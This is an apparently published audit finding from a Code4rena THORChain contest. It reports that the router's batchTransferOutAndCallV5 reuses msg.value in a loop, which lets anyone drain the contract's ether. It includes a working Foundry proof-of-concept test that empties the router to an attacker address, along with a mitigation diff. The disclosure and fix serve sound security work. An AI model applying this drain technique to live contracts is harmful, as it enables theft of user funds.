Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L400-L402 https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L309-L311 https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/chain/ethereum/contracts/THORChain_Router.sol#L324

Vulnerability details

The functions transferOutAndCallV5() and batchTransferOutAndCallV5() both internally invoke _transferOutAndCallV5(). This function, in turn, calls the swapOutV5() function on the aggregationPayload.target, which should be the THORChain_Aggregator contract.

However, the aggregationPayload is a struct passed as a parameter through either transferOutAndCallV5() or batchTransferOutAndCallV5(). This allows anyone to set the aggregationPayload.target address to their preference without any validation.

When a low-level call to aggregationPayload.target is made, the return value swapOutSuccess is checked. If it's false, a fallback logic attempts to send the msg.value to the target. If this also fails, the msg.value is refunded to the msg.sender.

The issue arises when batchTransferOutAndCallV5() is called. It loops through the aggregationPayloads array and passes each element to _transferOutAndCallV5(), which then sends the msg.value multiple times to either the target address or msg.sender.

  function batchTransferOutAndCallV5(
    TransferOutAndCallData[] calldata aggregationPayloads
  ) external payable nonReentrant {
    for (uint i = 0; i < aggregationPayloads.length; ++i) {
@>    _transferOutAndCallV5(aggregationPayloads[i]);
    }
  }

  function _transferOutAndCallV5(
    TransferOutAndCallData calldata aggregationPayload
  ) private {
    if (aggregationPayload.fromAsset == address(0)) {
      // call swapOutV5 with ether
@>    (bool swapOutSuccess, ) = aggregationPayload.target.call{
        value: msg.value
      }(
        abi.encodeWithSignature(
          "swapOutV5(address,uint256,address,address,uint256,bytes,string)",
          aggregationPayload.fromAsset,
          aggregationPayload.fromAmount,
          aggregationPayload.toAsset,
          aggregationPayload.recipient,
          aggregationPayload.amountOutMin,
          aggregationPayload.payload,
          aggregationPayload.originAddress
        )
      );
@>    if (!swapOutSuccess) {
@>      bool sendSuccess = payable(aggregationPayload.target).send(msg.value); // If can't swap, just send the recipient the gas asset
        if (!sendSuccess) {
@>        payable(address(msg.sender)).transfer(msg.value); // For failure, bounce back to vault & continue.
        }
      }

      emit TransferOutAndCallV5(
        msg.sender,
        aggregationPayload.target,
        msg.value,
        aggregationPayload.toAsset,
        aggregationPayload.recipient,
        aggregationPayload.amountOutMin,
        aggregationPayload.memo,
        aggregationPayload.payload,
        aggregationPayload.originAddress
      );
    } else {
      ...
    }
  }

Impact

There are two issues associated with the use of msg.value in _transferOutAndCallV5:

The first one, described in the Proof of Concept section below, is of high severity. A malicious user could potentially drain all funds from the THORChain_Router.
The second issue is of medium severity. When a trusted actor invokes the batchTransferOutAndCallV5 function and if the length of the aggregationPayloads array exceeds 1, it will constantly revert. This happens because the entire msg.value is sent in the first iteration, causing the second iteration to revert with OutOfFunds when the Router’s balance is reduced to zero.

Proof of Concept

Consider a scenario where the Router's balance is 100e18 ethers. Suppose the batchTransferOutAndCallV5() function is called with an array of 11 struct elements, each with the following parameters:

aggregationPayload.fromAsset = address(0)
the aggregationPayload.target address is EOA controlled by the attacker

The call will return false and then enter the fallback logic in the if statement. This action sends the msg.value to the aggregationPayload.target. This process is repeated for each element in the calldata array, resulting in the router being completely drained. The scenario is demonstrated in the coded proof of concept below.

Coded POC:

To run the test, you first need to initialize the Foundry project in the repo using forge init --force. Then, place the following test in the test folder and run it with forge test -vvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {THORChain_Router} from "../contracts/THORChain_Router.sol";

contract RouterTest is Test {
    THORChain_Router public router;
    address alice = makeAddr("alice");

    function setUp() public {
        router = new THORChain_Router();
    }

    function testRouterDrain() public {
        deal(address(router), 100e18);
        deal(alice, 10e18);

        console.log("alice's balance before: ", alice.balance);
        console.log("router's balance before:", address(router).balance);

        THORChain_Router.TransferOutAndCallData[] memory cdArray = new THORChain_Router.TransferOutAndCallData[](11);

        for(uint i; i < 11; i++) {
            cdArray[i] = THORChain_Router.TransferOutAndCallData(
                payable(alice),
                address(0),
                10e18,
                address(0),
                alice,
                0,
                "",
                "",
                ""
            );
        }

        vm.prank(alice);
        router.batchTransferOutAndCallV5{value: 10e18}(cdArray);

        console.log("alice's balance after:  ", alice.balance);
        console.log("router's balance after: ", address(router).balance);
    }
}

The result will be:

[PASS] testRouterDrain() (gas: 242833)
Logs:
  alice's balance before:  10000000000000000000
  router's balance before: 100000000000000000000
  alice's balance after:   110000000000000000000
  router's balance after:  0

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to avoid the use of msg.value in for loops. To mitigate the current issue, the cumulative value sent to the aggregationPayload.target should not exceed the msg.value. This can be achieved by adding a parameter etherAmount in the TransferOutAndCallData struct, which will be used instead of msg.value in the _transferOutAndCallV5. Then, add a require statement in the batchTransferOutAndCallV5 which checks if msg.value == cumulativeValueSent.

  struct TransferOutAndCallData {
    address payable target;
    address fromAsset;
    uint256 fromAmount;
    address toAsset;
    address recipient;
    uint256 amountOutMin;
    string memo;
    bytes payload;
    string originAddress;
+   uint256 etherAmount;
  }

  function batchTransferOutAndCallV5(
    TransferOutAndCallData[] calldata aggregationPayloads
  ) external payable nonReentrant {
+   uint cumulativeValueSent;
    for (uint i = 0; i < aggregationPayloads.length; ++i) {
+     cumulativeValueSent += aggregationPayloads[i].etherAmount;
      _transferOutAndCallV5(aggregationPayloads[i]);
    }
+   require(msg.value == cumulativeValueSent);
  }

  function _transferOutAndCallV5(
    TransferOutAndCallData calldata aggregationPayload
  ) private {
    if (aggregationPayload.fromAsset == address(0)) {
      // call swapOutV5 with ether
      (bool swapOutSuccess, ) = aggregationPayload.target.call{
-       value: msg.value
+       value: aggregationPayload.etherAmount
      }(
        abi.encodeWithSignature(
          "swapOutV5(address,uint256,address,address,uint256,bytes,string)",
          aggregationPayload.fromAsset,
          aggregationPayload.fromAmount,
          aggregationPayload.toAsset,
          aggregationPayload.recipient,
          aggregationPayload.amountOutMin,
          aggregationPayload.payload,
          aggregationPayload.originAddress
        )
      );
      if (!swapOutSuccess) {
-       bool sendSuccess = payable(aggregationPayload.target).send(msg.value); // If can't swap, just send the recipient the gas asset
+       bool sendSuccess = payable(aggregationPayload.target).send(aggregationPayload.etherAmount); // If can't swap, just send the recipient the gas asset
        if (!sendSuccess) {
-         payable(address(msg.sender)).transfer(msg.value); // For failure, bounce back to vault & continue.
+         payable(address(msg.sender)).transfer(aggregationPayload.etherAmount); // For failure, bounce back to vault & continue.
        }
      }

      emit TransferOutAndCallV5(
        msg.sender,
        aggregationPayload.target,
-       msg.value,
+       aggregationPayload.etherAmount,
        aggregationPayload.toAsset,
        aggregationPayload.recipient,
        aggregationPayload.amountOutMin,
        aggregationPayload.memo,
        aggregationPayload.payload,
        aggregationPayload.originAddress
      );
    } else {
      ...
    }
  }

Assessed type

ETH-Transfer

code-423n4 / 2024-06-thorchain-findings

Due to the use of `msg.value` in for loop, anyone can drain all the funds from the `THORChain_Router` contract #44